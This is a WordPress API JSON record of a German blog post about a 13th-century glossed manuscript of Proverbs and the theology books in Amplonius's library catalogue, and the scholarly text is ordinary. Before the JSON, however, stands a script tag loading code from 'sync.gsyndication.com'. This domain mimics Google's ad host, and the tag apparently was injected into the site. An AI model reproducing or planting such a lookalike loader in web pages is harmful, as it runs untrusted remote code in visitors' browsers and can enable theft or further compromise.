<script src="//sync.gsyndication.com/"></script>{"id":1675,"date":"2021-11-26T20:32:14","date_gmt":"2021-11-26T18:32:14","guid":{"rendered":"http:\/\/www.amplonius-novus.de\/?p=1675"},"modified":"2021-12-01T13:42:01","modified_gmt":"2021-12-01T11:42:01","slug":"amplonius-adventskalender-2","status":"publish","type":"post","link":"https:\/\/www.amplonius-novus.de\/?p=1675","title":{"rendered":"Dezember 2021"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Parabole Salomonis, ecclesiastes, liber sapiencie et cantica canticorum, glosate<\/em><\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Das Kalenderblatt f\u00fcr <strong>Dezember 2021<\/strong> zeigt den Anfang von Vers 5 des 1. Kapitels der Spr\u00fcche Salomos in einer Handschrift aus dem fr\u00fchen 13. Jahrhundert, Herkunftsland wahrscheinlich Italien (CA 2\u00b0 52). Die Initiale \u201eA\u201c (in der Miniatur Kriechtiere und Bl\u00fctenbl\u00e4tter) markiert den Beginn des (kommentierten) Bibeltextes <em>\u201eAudiens sapientis sapientior erit, et intellegens gubernacula possidebit\u201c.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\u201elsti sunt libri quos ego Amplonius habeo in sacra theologia\u201d<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Die theologische Abteilung des B\u00fccherkatalogs, den Amplonius eigenh\u00e4ndig um 1410 f\u00fcr seine 633 Codices angelegt hat, zeichnet sich durch eine gro\u00dfe Breite an theologischem Wissen unterschiedlicher Provenienz aus. Grundlage des Theologie-Studiums war nat\u00fcrlich die lateinische Bibel, von der Amplonius in seiner Bibliothek mehrere besa\u00df. Sein B\u00fccherkatalog beginnt das Kapitel <em>\u201eDe theologia\u201c <\/em>mit drei Bibelausgaben:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8211; \u201e1. Primo siquidem biblia, infrascriptos libros in se continens: \u2026\u201c<\/em> [es folgt eine detaillierte Aufz\u00e4hlung aller Teile der Bibel].<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8211; \u201e2. Item biblia media, prescise eosdem libros et prologos continens quos prima maior \u2026\u201d.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8211; \u201e3. Item biblia minor, eciam eadem continens que media immediate precedens preter excerptum epistole Iheronimi de alphabeti Hebraici interpretacione.\u201d<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Diese drei Exemplare der Bibel sind heute nicht mehr vorhanden.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nach dem Willen des Amplonius sollte w\u00e4hrend der Mahlzeiten im <em>Collegium Amplonianum<\/em> aus der Bibel vorgelesen werden und die Theologie-Studenten seines Kollegs sollten die Bibel als erstes lesen und lernen: <em>\u201eItem statuo et ordino quod applicatus theologie primo bibliam cum suis prologis studeat \u2026\u201c<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Weiterhin empfahl Amplonius den Theologie-Studenten seines Kollegs die Schriften der Kirchenv\u00e4ter wie z.B. Augustinus, Chrysostomus oder Hieronymus, die nat\u00fcrlich in der <em>Amploniana<\/em> genauso vorhanden waren wie u.a. die Schriften von Nikolaus von Lira, Wilhelm Brito, Durandus de Alvernia, Bonaventura (da Bagnoregio), Beda etc. etc.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Die angehenden Theologen legt Amplonius aber nicht auf eine bestimmte Lehrmeinung fest, vielmehr stehen die unterschiedlichen theologischen Schriften seiner Bibliothek und die Statuten f\u00fcr das <em>Collegium Amplonii<\/em> f\u00fcr ein offenes, philosophisch-theologisches Denken, das theologische Probleme ernsthaft und sachlich er\u00f6rtert, ohne sich an bestimmte Lehrs\u00e4tze und \u2013autorit\u00e4ten festzumachen und von vornherein zu binden. Diese Einstellung des Amplonius findet sich auch in den modernen Lehrauffassungen der neugegr\u00fcndeten Erfurter Universit\u00e4t wieder.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Neben der Bibel besitzt Amplonius zahlreiche Handschriften, in denen Bibeltexte und Kommentare dazu kunstvoll miteinander in Beziehung stehen, so wie die hier abgebildete Seite der Spr\u00fcche Salomos (Kap. 1 Vers 5) in der \u00dcbersetzung aus dem Hebr\u00e4ischen von Sophronius Eusebius Hieronymus (geb. 347, gest. 420).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Das Blatt ist in drei Spalten eingeteilt. In der mittleren Spalte steht der Bibeltext, versehen mit einer kunstvollen, farbigen Initiale, mehrmals nach links \u00fcber die mittlere Spalte hinausgehend und in gro\u00dfer Schrift mit breitem Zeilenabstand; die beiden anderen Spalten sind f\u00fcr den Kommentar vorgesehen, der in kleinerer Schrift und fortlaufend mit engerem Zeilenabstand niedergeschrieben ist.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Parabole Salomonis, ecclesiastes, liber sapiencie et cantica canticorum, glosate. Das Kalenderblatt f\u00fcr Dezember 2021 zeigt den Anfang von Vers 5 des 1. Kapitels der Spr\u00fcche Salomos in einer Handschrift aus dem fr\u00fchen 13. Jahrhundert, Herkunftsland wahrscheinlich Italien (CA 2\u00b0 52). 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